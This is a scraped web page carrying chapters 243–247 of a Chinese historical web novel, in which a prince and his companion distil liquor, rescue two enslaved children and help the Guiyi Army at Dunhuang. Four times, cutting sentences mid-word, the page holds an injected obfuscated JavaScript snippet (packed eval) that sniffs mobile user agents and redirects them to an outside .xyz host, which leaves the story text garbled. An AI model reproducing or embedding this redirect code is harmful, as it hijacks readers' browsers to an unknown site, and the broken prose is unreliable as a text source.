他停下手里的动作,转过头说道:“王爷,你要是觉得错了,现在掉头回京,去那新君梁越面前磕头认罪,兴许还能换条活路。” “你!”秦王被他这番话噎得胸口发闷,一口气差点没上来,“我不是那个意思!” “那你是什么意思?”陈平管也不看他,继续用湿泥修补陶罐的裂缝,“是后悔了?还是绝望了?还是你有办法,让我们更好的活下去?” “我……”秦王语塞,脸上火辣辣的。 “王爷,我最后跟你说一遍,收起你那套皇室子孙的多愁善感!”陈平川的语气前所未有的严厉,“在这里,没人认你这个大业的秦王!我们就是两个谁都能踩一脚的贱民,想活下去,就得把那身皮扒了,把那高贵的头颅埋进泥里!” 他凑到秦王面前,表情严肃:“只要能让我们活着,什么都得干!你那点可怜的尊严,在这里,连一个铜板都换不来!” 秦王被他这番粗鄙却又无比真实的话语冲击得体无完肤,羞愧、愤怒、悲凉,种种情绪交织在一起,堵在喉咙里,却一个字也无法反驳。 是啊,尊严能当饭吃吗?能抵御这刺骨的寒风吗? 他看着陈平川在昏暗的光线下,专注地用泥巴将几个破陶罐的缝隙糊起来,搭建出一个他从未见过的古怪装置。 那双曾经只会握笔的手,此刻却灵巧得像个老工匠,秦王的心里五味杂陈。 **陈平川在做什么,但他能清晰地感觉到,这个比自己还小的少年身上,有一股仿佛能把天都撑起来的劲儿。那是一种永不服输、永不绝望的生命力。 “你……在做什么?”秦王的声音弱了下去,带着一丝好奇。 第243章 一滴入魂!这才是男人喝的酒! “挣钱。”陈平川头也不抬,言简意赅。 第二天一早,天刚蒙蒙亮。陈平川就拿着昨天那两枚铜板,去集市上买了最便宜的糙米,又厚着脸皮跑到那家酒馆的后院,对着正在倒酒糟的伙计说了无数好话,总算讨来了一大捧尚有余温的酒糟。 回到破庙,陈平川将粮食和酒糟混合,加水,倒进一个陶罐里,架在几块石头上,然后在下面生起一堆小心翼翼控制着火苗的柴火。 他将另一个陶罐倒扣在上面,接口处用湿泥糊得严严实实,只在顶上留出一个小孔,插上那根竹管,竹管的另一头,则通向一个放在远处、浸在冷水里的陶罐。 秦王蹲在一旁,看得一头雾水。这东西怎么挣钱? 随着陶罐下的温度缓缓升高,罐内开始发出轻微的“咕嘟”声。很快,一股白色的蒸汽顺着竹管,颤颤巍巍地飘向远处的冷却陶罐。 时间一分一秒地过去,就在秦王快要失去耐心时,一股奇异的香气,从那冷却罐的出口飘散出来。 那不是酒馆里淡薄的酸味,而是一种醇厚、浓烈、霸道无比的香气,仿佛凝结了粮食所有的精华,带着灼人的热力,瞬间便驱散了破庙里的霉味,蛮横地占据了每一寸空气。 秦王猛地吸了吸鼻子,眼睛瞬间瞪得溜圆,他难以置信地看着那从竹管末端滴落的、一滴滴清澈如水的液体。 “这是……酒?”他的声音里充满了震撼与惊喜。 “准确地说,是比市面上所有酒都烈得多的酒。”陈平川的脸上露出一丝得意的笑容。 这就是最简单的蒸馏法。 利用酒精和水的沸点不同,将酒糟里的酒精提纯。 这种技术,在这个时代,简直就是降维打击。 他小心翼翼地将蒸馏出来的第一批高度酒倒进一个小碗里,然后递给秦王。 “王爷,今天起,我们是两个卖酒的。” 秦王喝了一口,眼睛顿时亮了:“好酒!” 陈平川也微笑道:“明天我们就分头去卖酒。” 秦王表情一僵,但终究还是点点头。 第二天,两人分头行动。 秦王放不下身段,让他去沿街叫卖,面子上实在挂不住,便选了城西一家胡商云集的马市酒肆,那里的人更认烈酒。 而陈平川则拎着另一罐酒,熟门熟路地去了昨日讨酒糟的那家酒馆。 酒馆里正是人声鼎沸的时候,跑堂的伙计看到陈平川,还以为他又是来讨要剩饭酒糟的,脸上立刻露出不耐烦的神色。 “去去去,今天没东西给你,别在这儿碍事。” 陈平川也不恼,嘿嘿一笑,从旁边的桌子上拿过一个小瓷杯,小心翼翼地倒了浅浅一杯酒。 他也不多言,只是将杯子往那伙计面前一递。一股霸道的酒香瞬间钻入伙计的鼻腔,让他不由自主地咽了口唾沫。 “这……这是什么酒?” “尝尝?”陈平川挑了挑眉,“咱们的新酒,包你满意。” 伙计将信将疑地抿了一小口,下一刻,他的眼睛瞪得比铜铃还大,一张脸瞬间涨得通红,半晌才从喉咙里挤出一个字:“好辣!” 紧接着,他又咂了咂嘴,一股前所未有的醇厚甘美从舌根涌上来,让他精神一振,“这酒……味道不错啊!” 这边的动静不大,但那浓烈的酒香却像长了腿,引得邻桌的几个酒客纷纷侧目…… 而在城西的马市酒肆,秦王则遇到了截然不同的境遇。 他不像陈平川那般能说会道,只是将陶罐往角落一张空桌上一放,面沉如水,自有一股生人勿近的气场。 酒肆里多是些豪爽的西域胡商,见他这副模样,只是好奇地打量,却无人上前搭话。 秦王倒也沉得住气,继续闭目养神。 就在此时,一个身材高大、满脸络腮胡的回鹘商**概是喝得兴起,摇摇晃晃地走了过来,指着秦王的陶罐用生硬的汉话问道:“喂,你这罐子里,装的什么?” 秦王言简意赅:“酒。” “酒?”那回鹘人哈哈大笑,指着桌上的马奶酒,“这才是酒!你那罐子里的,怕不是给娘们喝的水吧?”周围的胡商也跟着哄笑起来,充满了不屑。 秦王面不改色,倒出一杯,推了过去。那回鹘人见他如此镇定,倒也来了兴趣,端起杯子,带着几分挑衅,一饮而尽。 刹那间,哄笑声戛然而止。 所有人都看到,那壮硕如牛的回鹘人,身体猛地一颤,双眼暴突,脖子上的青筋都鼓了起来。 他像一尊石像般僵在原地,足足过了半晌,才猛地喷出一口灼热的酒气,一张脸涨成了猪肝色,却高高竖起了大拇指,用尽全身力气吼道:“好酒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097159|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !够劲!这才是男人喝的酒!” 这一声吼,顿时让喧闹的酒肆都静了下来。先前还在嘲笑的胡商们,此刻都伸长了脖子,看看秦王面前那个平平无奇的陶罐,眼神里充满了震惊与渴望。 “我说……你这酒怎么卖?”一个精明的商人立刻凑了上来。 …… 夜幕降临,两道身影一前一后回到了破庙。陈平川将一个钱袋子扔在地上,发出一声清脆的撞击声。 “卖完了。” “我也卖完了。” 秦王也默默地从怀里掏出另一个钱袋,两人相视一笑,疲惫的脸上都洋溢着收获的喜悦。 这第一桶金,虽然不多,却点燃了熊熊的希望之火。 他们用这笔钱买来了两个热乎乎的饼子,还有块酱肉。 两人坐在破庙的门槛上,就着冷风,啃着饼。 秦王吃着吃着,眼眶就红了。 这是他有生以来,第一次靠自己的“劳动”,挣来的钱。 这种感觉,远比皇帝赏赐他千两黄金,还要让他感到踏实。 陈平川拍了拍他的肩膀,说道:“王爷,记住今天的感觉。在这里,尊严不是别人给的,是靠我们自己,一文钱一文钱,挣回来的。” “先活下去,再说其他。” 秦王重重地点了点头。 他知道,从这一刻起,那个养尊处优的秦王祝衡,已经**。 活下来的,是一个叫祝衡的,想在西域堂堂正正站起来的汉子。 …… 靠着蒸馏烈酒这独门生意,陈平川和秦王的日子总算好过了一些。 他们在城中的贫民区,租下了一间勉强能遮风挡雨的小土房,总算有了一个安身之所。 随着生意越做越大,他们甚至有了一个固定的“摊位”——城中最大的奴隶市场门口。 这里三教九流汇聚,是消息最灵通,也是最能体现沙州城残酷本质的地方。 每天,他们都能看到一幕幕人间惨剧。 被买卖的汉人奴隶,像牲口一样被关在笼子里,眼神麻木,生死全由主人一念之间。 秦王的心,在一天天的目睹中,变得越来越硬,也越来越冷。 他不再轻易愤怒,只是将所有的**和悲愤,都深深地埋藏在心底,化作一股沉默的力量。 这一日,奴隶市场里,突然传来一阵喧哗。 第244章 妙计!我用一袋饼救人! 陈平川和秦王循声望去,只见一个身材肥硕、满脸横肉的回鹘奴隶主,正用鞭子狠狠地抽打着两个瘦弱的身影。 那是一对汉人兄妹。 姐姐看起来不过十三四岁,弟弟更小,大概只有七八岁的样子。 两人衣不蔽体,瘦得皮包骨头。 “小杂种!敢偷老子的钱!老子今天打死你!” 奴隶主一边骂,一边挥舞着鞭子。 小男孩被打得在地上翻滚,奄奄一息。 姐姐死死地将弟弟护在身下,用自己瘦弱的脊背,承受着雨点般的鞭打。 “别打我弟弟……求求你……别打我弟弟……” 女孩的哭声凄厉而绝望,但周围的汉人,却只是默默看着,没有一个敢上前。 甚至有人在小声议论。 “唉,又是骨咄禄这个恶霸。” “这两个娃也是倒霉,偷谁的不好,偏偏偷他的。” “能怎么办,不偷东西他们就得饿死,唉,认命吧。” ……… 冷漠,已经成了这些人赖以生存的本能。 秦王的拳头,再一次攥得咯吱作响,青筋暴起。 但他比之前冷静多了,没有直接冲上去。 “平川!我们能救那两个孩子吗?”他咬着牙问道。 陈平川眯了眯眼睛,道:“那个骨咄禄是这一带有名的恶棍,手下养着十几个打手……这事不好办。” 秦王皱眉:“真没办法吗?” 陈平川的眼中闪过一丝精光,“看我的。” 说完,他便转身挤出人群,留下秦王在原地等待。 陈平川快步走到不远处一个卖胡饼的摊子前,掏出几十文钱,将摊上刚出炉、还冒着热气的七八张胡饼买下来,装满了一个布袋。那诱人的麦香,隔着布袋都能闻到。 提着那袋香喷喷的胡饼,陈平川绕到了奴隶市场另一头的墙角。 那里,正横七竖八地躺着一群衣衫褴褛的乞丐。他们像一堆堆被丢弃的垃圾,对周遭的一切都显得麻木不仁,唯有饥饿,才能让他们浑浊的眼睛里泛起一丝微光。 陈平川站在上风口,解开了布袋。 一股浓郁的饼香,像是有了生命一般,精准地钻进了每一个乞丐的鼻孔。 “咕咚。” 不知是谁先咽了口唾沫,紧接着,那些原本如同尸体般的乞丐,一个个都慢慢地抬起了头,目光死死地锁定在陈平川和他手中的布袋上。 陈平川等的就是这一刻。他猛地将手中的布袋朝着骨咄禄的方向奋力一指,用尽全身力气,扯着嗓子大喊:“那边那个大胖子!骨咄禄老爷!他今天大发慈悲,要请大家吃饼!我刚刚抢了这么多!大家快去,晚了就抢没了!” 他这一嗓子,好比在干柴堆里扔下了一颗火星。 那些饿疯了的乞丐,脑子里根本来不及分辨真假,只听到了“吃饼”两个字。刹那间,求生的本能压倒了一切! 他们从地上一跃而起,浑浊的眼睛里迸发出骇人的绿光,如同嗅到血腥味的狼群,疯了一般朝着骨咄禄的方向冲了过去! “饼!饼是我的!” “给我吃的!” 几十个乞丐汇成了一股肮脏的洪流,挡在路上的人纷纷惊恐地避让。 骨咄禄和他那几个打手,还没反应过来发生了什么事,就被这股“乞丐潮”给淹没了。他们哪里见过这种阵仗,瞬间被冲得七零八落。 骨咄禄像一头笨重的肥猪,被人群推来搡去,嘴里咒骂着,却被无数只干瘦的手拉扯着衣角,根本站不稳。 混乱中,没人再顾得上那两个蜷缩在地的孩子。 就在此时,陈平川和秦王趁乱挤到那对兄妹身边,秦王将已经昏迷的小男孩扛在肩上,陈平川则抓住那惊魂未定的女孩,低喝道:“别怕,跟我走!” 女孩愣愣地看着他,还没来得及反应,就被一股巨大的力道从地上拽了起来。 几个人头也不回地扎进了旁边一条狭窄的巷子里,眨眼间就消失在市场的喧嚣之中。 另一边,骨咄禄已经控制了局面,也发现那对小姐弟不见了,他恼羞成怒,抓住一个乞丐,一边打一边问:“说!是谁让你们来的?” “那,那边卖酒的小哥……”乞丐抱头打滚,供出了陈平川。 骨咄禄一愣,他记得陈平川卖酒的摊子,他还光顾过。 “原来是你们!” 他咬牙切齿,招呼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105021|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手下:“给我追!” …… 沙州城的巷子,像蜘蛛网一样,错综复杂。 秦王抱着小男孩,陈平川拉着女孩,在狭窄的巷道里亡命飞奔。 “他们在那边!” “站住!” 听到后面,打手们的怒吼和脚步声越来越近。 刚准备松口气的陈平川和秦王,不得不再次拔腿狂奔。 可是两人带着孩子,速度终究快不起来。 “不行……跑不掉了……”秦王抱着孩子,体力也渐渐不支。 陈平川回头看了一眼,只见骨咄禄那肥硕的身影已经出现在巷口,还有他手里的皮鞭。 他心急如焚,扫视四周,看到旁边有一扇虚掩的院门,也来不及多想,一把推开门,拉着三人就冲了进去。 “砰”的一声,他反手将院门死死闩上。 还没等他们喘口气,院子里的景象,却让他们瞬间愣住了。 这是一个颇为宽敞的院落,但气氛却肃杀得可怕。 院子里,几十名身形剽悍的汉子,正赤着上身,在磨着兵器。 霍霍的磨刀声,在寂静的院子里显得格外刺耳。 听到关门声,院子里的汉子们停下了手中的活,齐刷刷地将冰冷的目光投向了陈平川他们。 那眼神冷酷如冰,一股浓烈的杀气从身上弥漫出来! 这绝不是普通的百姓! 秦王吞了口唾沫,他们似乎闯进了一个不得了的地方! 就在这时,院门被“砰砰砰”地擂得山响。 “开门!我知道你们躲在里面!快给老子滚出来!”骨咄禄在外面疯狂叫嚣。 一个坐在院子中央石凳上,一直闭目养神的壮年男子,缓缓睁开了眼睛。 他约莫四十岁左右,面容刚毅,胡须如戟,一道伤疤从眉角延伸到下颌,让他看起来更添了几分威猛。 他没有理会陈平川,而是径直走到院门前,一把拉开门栓。 门外的骨咄禄正准备破门而入,冷不防门开了,看到眼前这个煞神般的男人,嚣张的气焰顿时矮了半截。 “张……张烈……”骨咄禄的声音有些发颤。 显然,他认识这个男人,而且非常怕他。 第245章 秦王:我是王爷!张烈:骂的就是王爷! 被称作张烈的男人,冷冷地瞥了他一眼,用纯正的汉话,从牙缝里挤出一个字。 “滚!” 声音不响,却充满了压迫! 骨咄禄脸色一阵青一阵白,看了看张烈身后那些虎视眈眈的汉子,最终还是没敢发作。 他怨毒地瞪了陈平川一眼,撂下一句狠话:“小子,你给我等着!” 然后,便带着手下,灰溜溜地跑了。 危机解除,陈平川却丝毫不敢放松。 因为,院子里几十个人,已经将他们团团围住。 张烈转过身,审视着陈平川和秦王,那目光,像鹰隼一样锐利,仿佛能看穿人心。 “中原人?”他开口了,声音低沉而有力,“为何在此惹是生非?” 陈平川连忙上前一步,拱手道:“多谢壮士出手相救。我们叔侄二人初到沙州,见那恶霸欺凌同胞,一时没忍住,这才……” 他隐瞒了**,只说是路见不平。 张烈听完,脸上却没什么表情,只是淡淡地说道:“沙州城,每天都有人被打,每天都有人**。你们救得了一个,救得了第二个吗?” 他的话里,透着一股深深的无奈和沧桑。 “此地不宜久留,骨咄禄那人睚眦必报,很快就会带更多人来。”张烈挥了挥手,“收拾东西,我们马上撤离。” 他手下的汉子们立刻行动起来,将磨好的兵器打包,动作干脆利落,显然是训练有素。 张烈看了看陈平川他们:“你们,跟我们一起走。” 这不是商量,而是命令。 陈平川和秦王对视一眼,都从对方眼中看到了无奈。 他们知道,自己别无选择。 跟着这群神秘的汉子,总比落到骨咄禄手里强。 他们被带着,穿过几条小巷,离开了沙州城。 在茫茫戈壁上行走了大半夜后,一座比沙州城更加雄伟、也更加破败的古城,出现在他们面前。 敦煌。 这里,就是这群汉子的最终据点。 城中,到处都是断壁残垣,却能看到许多汉子在城墙上巡逻,操练。 在一处高大的角楼上,一面旗帜在风中猎猎作响。 那旗帜已经破旧不堪,颜色也褪得厉害,但依旧能看清,上面用血色丝线,绣着三个遒劲的大字。 归义军! 秦王祝衡看到这三个字,身体猛地一震,眼中充满了难以置信。 “归义军……竟然……竟然还在……”他失声喃喃。 陈平川虽然对这个名字感到陌生,但从秦王的反应和这一路的所见所闻,他已经猜到了七八分。 这是一支,被大业朝廷遗忘在西域的,孤军! 他们,是这片土地上,汉人最后的风骨和脊梁! …… 敦煌城内,景象萧条,满目疮痍。 虽然这里是归义军的最后据点,但城中百姓同样面有菜色,物资的匮乏显而易见。 张烈将陈平川一行人带到了一处还算完整的宅院里,这里似乎是归义军的议事厅。 墙壁上,挂着一张巨大的西域堪舆图,上面用朱砂标记着一个个地名。 甘州、西州、于阗、吐蕃…… 归义军的据点敦煌,就像是**中的一座孤岛,被四**大的异族势力团团包围。 张烈屏退了左右,只留下几个心腹将领。 他亲自给陈平川和秦王倒了两碗水,这才缓缓开口。 “你们中原人,恐怕早就忘了我们了吧。”张烈的声音里,带着一丝自嘲。 他的祖父,正是归义军的创始人,一代名将张议。 百年前,大业朝国力衰微,无力管辖西域,河西走廊尽数陷于吐蕃之手。 是他的祖父,不忍汉家衣冠沦于夷狄,在沙州揭竿而起,率领沙州各族义士,浴血奋战十余年,最终光复河西十一州,将版图重新纳入大业。 朝廷大喜,册封其为节度使,赐军号“归义军”,命其世代镇守西疆。 “何等风光,何等荣耀。”张烈苦笑一声,“可那又如何?” 随着大业朝廷的内乱和衰败,对西域的控制早已名存实亡。 粮饷断绝,援兵不至。 归义军,这支曾经为大业立下赫赫战功的军队,就这样被朝廷彻底遗忘在了这片风沙之地。 “百年来,我们就像一群没爹没娘的孤儿。”一个年轻将领愤愤不平地说道,“东边的甘州回鹘,南边的吐蕃部落,都在一点点蚕食我们的土地。我们只能困守在这小小的沙州和瓜州,苟延残喘!” 秦王祝衡听着,脸上火辣辣的,羞愧得无地自容。 作为大业的王爷,他甚至都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105022|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道,在遥远的西域,还有这样一支忠勇的孤军,在为守护汉家的土地,流尽最后一滴血。 朝廷,愧对他们! 张烈再次将目光投向陈平川和秦王,那冰冷的眼神,充满了警惕和怀疑。 “现在,该说说你们了。” “两个中原人,不好好待在富庶的中原,跑到这鸟不拉屎的西域来做什么?” “别跟我说什么路见不平,这种鬼话,骗骗三岁小孩还行。” 陈平川心里一紧,知道糊弄不过去了。 他还在思考该如何编一个更可信的身份。 旁边的秦王,却再也忍不住了。 他站起身,整理了一下身上那件破烂的衣服,挺直了腰杆,沉声说道:“我,是大业秦王,祝衡!” 他不能再忍受这种遮遮掩掩。 他是皇室子孙,他有他的骄傲。 他以为,亮出身份,至少能获得对方的一丝尊敬。 然而,他想错了。 张烈听到他的话,先是一愣,随即,发出一阵冷笑。 “呵呵……呵呵呵……” “大业的王爷?” 张烈像是听到了什么天大的笑话,他绕着秦王走了两步,目光在他那身破烂的衣服上扫过。 “王爷?王爷不都应该在京城里享受着歌舞美酒,锦衣玉食吗?怎么会跑到我们这鸟不拉屎的沙州来?” 他猛地停下脚步,逼近秦王,眼神锐利如鹰:“说吧,尊贵的王爷。你来这里,到底是为了什么?是朝廷终于想起了我们,派你来宣读圣旨,还是带来了我们盼了一百年的粮草援兵?” 他顿了顿,嘴角勾起一抹讥讽的笑,“又或者,是你在中原的日子不好过,被仇家追杀,跑到我这里来躲灾避祸了?” 秦王被他一连串的质问堵得脸色发白,一个字也说不出来。 是啊,他能说什么?说自己是被梁家追杀,仓皇逃窜至此? 这种话,他怎么有脸说出口! “看来让我说中了!”张烈最后下了结论,眼神里充满了鄙夷。 “我不管你们是真王爷还是假王爷……” 张烈转过身,冷冷地说道:“从今天起,你们就是我归义军的‘客人’。没有我的允许,不准踏出这个院子半步!” 说罢,他便带着手下,拂袖而去。 第246章 拜神求佛?还得依靠科学! 名为“客人”,实为囚犯。 陈平川和秦王,就这样被软禁了起来。 秦王深受打击,整日枯坐,一言不发,仿佛被抽走了所有的精气神。 陈平川却没时间消沉。 他知道,张烈的怀疑不无道理。 在这片危机四伏的土地上,小心谨慎,是活下去的唯一法则。 想要获得他们的信任,就必须展现出无可替代的价值。 幸运的是,他们并非完全与外界隔绝。 被他们救下的那对兄妹,姐姐叫阿蛮,弟弟叫阿虎,因为感念救命之恩,常常会偷偷跑来看望他们,给他们送些小吃,顺便说说外面的情况。 从阿蛮的口中,陈平川渐渐摸清了归义军如今面临的困境。 内忧,外患。 内忧,是归义军内部分成了两派。 一派是以张烈为首的“守土派”,他们认为应该立足西域,减少甚至不与中原政权联系,因为百年前的背弃,让他们彻底寒了心,不再相信任何来自中原的承诺,与其遥望一个虚无缥缈的故乡,不如靠自己在这片土地上扎下根来。 另一派,则是以几个年轻将领为首的“归乡派”,他们日夜渴望杀回中原,接受封赏,不愿再在这片贫瘠的土地上等死。 两派争执不休,内耗严重。 外患,则更加致命。 资源匮乏,粮食和兵器都极度短缺。 外部,则面临着甘州回鹘的经济封锁和吐蕃部落的军事骚扰,生存空间被不断挤压。 归义军,已经到了山穷水尽的边缘。 而且,陈平川敏锐地发现,归义军虽然忠勇,但战术思想已经僵化,沿用的还是百年前的战法,而且极度排外,不懂得联合其他可以联合的势力。 他意识到,一定有机会证明自己。 没想到,机会比陈平川预想的来得更早。 软禁的日子没过几天,一个足以让整个敦煌城陷入绝境的危机,悄然而至。 城中赖以为生的水源——坎儿井,多处发生了淤塞。 坎儿井,是西域干旱地区特有的地下水利工程。 它是无数条互相连通的地下暗渠,将远处雪山融水巧妙地引入城内和绿洲,是这片土地的生命之脉。 如今,命脉断了。 城中的储水迅速见底,城外的庄稼开始枯萎,恐慌像瘟疫一样在军民之间蔓延。 张烈急得焦头烂额,派人下去清淤,但坎儿井深邃复杂,淤塞点又多,派下去的人好几个都死在了里面,却收效甚微。 城内的百姓只会跪在干涸的渠边,向着漫天神佛祈祷,束手无策。 陈平川知道,自己机会来了! 他主动求见张烈,开门见山,提出自己能解决困境。 “张将军,我有办法疏通坎儿井。” 张烈抬起布满血丝的眼睛,审视着他:“你?一个中原书生,懂水利?” 他身边的几个将领也纷纷投来怀疑的目光。 “将军别信他!一个骗子而已!” “我看他就是想借机逃跑!” 陈平川对这些质疑充耳不闻,只是平静地看着张烈:“将军,如今城中水源即将枯竭,粮食也撑不了多久。再不想办法,敦煌城就完了!” “你让我试一试,最坏的结果,不过是维持现状。可万一我成功了呢?” “你为什么要帮忙?有什么条件?”张烈沉声问道,他不是傻子,知道陈平川不会白白帮忙。 陈平川迎着他审视的目光,坦然一笑:“条件?将军,我若说我唯一的条件,就是想让这满城的汉家百姓能活下去,你信吗?” 他环视一周,语气平静却有力,“我们同为汉家子孙,流着一样的血,在这西域绝地,本就该守望相助。若连这点同胞之谊都要谈条件,那我们和外面那些趁火**的豺狼,又有什么区别?” “花言巧语!”有将领立刻反驳,“将军,此人来历不明,必有图谋!” 张烈沉默了片刻,城中百姓绝望的脸庞在他眼前闪过。 他死死盯住陈平川:“好!我给你这个机会!但我的眼睛会一直盯着你,你若敢耍半点花样,我定将你**万段!” 陈平川要的就是他这句话。 他没有用什么神乎其神的法术,只是用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105023|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了最基础的物理学知识。 他设计了一套“连环清淤法”。 首先,他让人在上游找到一个水位较高的井口,用木板和泥土将其彻底封死。 然后,在下游淤塞点的附近,也同样封死一个井口。 这样一来,中间这段密闭的渠道里,就形成了一个巨大的空气腔。 接着,他指挥士兵,猛地打开上游的封口! 高处的水流,裹挟着巨大的压力,瞬间涌入密闭的渠道。 被压缩的空气,形成了一股强大的冲击波,如同一个无形的巨锤,狠狠地砸向了下游的淤塞点! “轰隆!” 只听得地底传来一阵沉闷的巨响。 下一刻,在所有人震惊的目光中,下游那个干涸了数日的井口,猛地喷涌出一股夹杂着泥沙的浑浊水流! 通了! 真的通了! 全城军民爆发出雷鸣般的欢呼声。 他们用同样的方法,只用了短短三天时间,就将几条主要的坎儿井全部疏通。 清泉,重新在这座垂死的城市里流淌。 百姓们将陈平川奉若神明,称他为“智者”,是上天派来拯救敦煌的。 张烈看着欢呼的人群,看着重新恢复生机的城市,眼神复杂。 他解除了对陈平川和秦王的软禁,可以自由活动,但依旧派人暗中监视。 陈平川对此心知肚明,也不点破。 他开始利用获得的自由,和归义军的普通士兵、城中百姓打成一片,了解他们的生活,倾听他们的诉求。 秦王也放下了王爷的架子,用自己所学的知识,帮助百姓解决一些实际困难,渐渐赢得了人们的尊重。 张烈的猜疑,在一天天的相处中,慢慢被打消。 他发现,陈平川这个人,虽然心思深沉,但做的每一件事,似乎都是在为归义军着想。 然而,短暂的平静,很快被一个情报打破。 这日,一名探子浑身是血地飞马闯入议事厅,嘶声来报。 “报!将军!大事不好!” “甘州回鹘一支千人骑兵,正朝月牙泉进发!目的不明!” 第247章 绝境翻盘!陈平川的战场艺术! 探子带回来的消息,让归义军每个将领的心头一沉 月牙泉,那是敦煌的命脉所在,是这片绿洲的心脏! 一旦月牙泉被占,水源被断,不出半月,敦煌城便是不战自乱的死城。 其野心昭然若揭! “欺人太甚!” 一个年轻将领猛地一拳砸在桌上,双目赤红,正是“归乡派”的领头人,张烈的堂弟,张武。 “将军!这帮回鹘杂碎就是算准了我们兵力不足,不敢出城野战!” “这日子什么时候是个头?今天挡住了回鹘,明天还有吐蕃!我们就像被困在笼子里的野兽,只能等着被一点点耗死!” 张武的话,说出了在场许多人的心声。 绝望和憋屈,如同乌云笼罩着整个大厅。 张烈面沉如水,那道从眉角延伸到下颌的伤疤,此刻看起来愈发狰狞。 他何尝不知眼下的困境。 归义军满打满算,能战之兵不过五百,而且多为步卒,缺马少甲。 拿什么去跟回鹘人引以为傲的千人骑兵在戈壁上硬碰硬? 出城,是送死。 不出城,是等死。 他死死盯着墙上那张巨大的西域堪舆图,目光像是要将图上敦煌的位置烧出两个洞来。 手下的将领们吵作一团。 有的主张死守,依托城墙,能撑一天是一天。 有的主张派人去和回鹘人谈判,弃械投降,只求换来生机。 更有甚者,将矛头指向了陈平川。 “都怪那个中原书生!若不是他解决了坎儿井,让我们暂时安逸下来,我们早就该考虑东归的事了!” “没错!留在这鸟不拉屎的地方,就是死路一条!” “归乡派”的将领们群情激奋,仿佛所有的困境,都是因为没能早日回归中原造成的。 就在这片嘈杂和混乱之中,一个平静的声音响了起来。 “张将军,我有一策,可以退敌。” 众人循声望去,只见陈平川正站在人群后,他神色镇定,与周围的焦躁形成了鲜明的对比。 秦王祝衡站在他旁边,虽然也紧张得手心冒汗,但看到陈平川那副胸有成竹的模样,他那颗悬着的心,竟也莫名地安定了几分。 张烈转过头,看向站出来的陈平川,眼中闪过一丝异色。 “你有何良策?但说无妨!” 他现在是死马当活马医了。 上次陈平川用匪夷所思的法子解决了坎儿井危机,让他印象深刻。 这个看起来文弱的中原书生,脑子里似乎总装着些旁人想都想不到的东西。 “若能退敌,我张烈,绝不亏待你!” 陈平川没有立刻回答,而是走上前来,伸出手指重重地点在了堪舆图上月牙泉的位置。 “将军请看。” 他的声音沉稳,娓娓道来: “月牙泉,地处敦煌城东南,乃是四周地势最低洼之处。其西北,是一片连绵的沙丘,看似平缓,实则暗藏沟壑。” “其东侧,是一片胡杨林。林子虽然不算茂密,但千年胡杨枝桠交错,盘根错节,骑兵在其中寸步难行。” “回鹘骑兵要想兵临泉眼,只有两条路。” 陈平川的手指在图上划出两条清晰的线路。 “一是绕过沙丘,从西侧的开阔地长驱直入。二是派兵穿过胡杨林,可以更快地抵达月牙泉。” 他抬起头,环视众人,语速微微加快。 “回鹘人知道我们一定会出兵阻拦,但他们骄横惯了,千人骑兵绝不可能挤在一条路上。我料定,他们一定会分兵!” “主力,走西侧的开阔地,他们想用最快的速度,以雷霆之势抢占泉眼,摧毁我们的士气。” “同时,会分出一支偏师,进入胡杨林,意图截断我们的后路,将我们包了饺子。” “而他们‘分兵’的这个举动,恰恰就是我们唯一的机会。” 议事厅内,渐渐安静下来。 所有人的目光,都从地图,转移到了陈平川的脸上。 这个年轻人的分析,条理清晰,逻辑缜密,仿佛他亲眼看到了回鹘人的排兵布阵一般。 张烈眼神一凝,沉声问道:“如何利用?” 陈平川嘴角微微上扬,露出一丝自信的笑容。 他看向一名满脸络腮胡的军官。 “张校尉。” 那名军官一愣,条件反射地挺直胸膛:“末将在!” “你带一百弟兄,立刻去月牙泉边的高地上。砍伐周围所有的红柳、梭梭木,削尖了,当做拒马枪,在泉眼周围立起一道屏障,越多越好,密不透风!要让他们的战马,连下脚的地方都找不到!” 那张校尉看向张烈,后者沉吟片刻,点头默认。 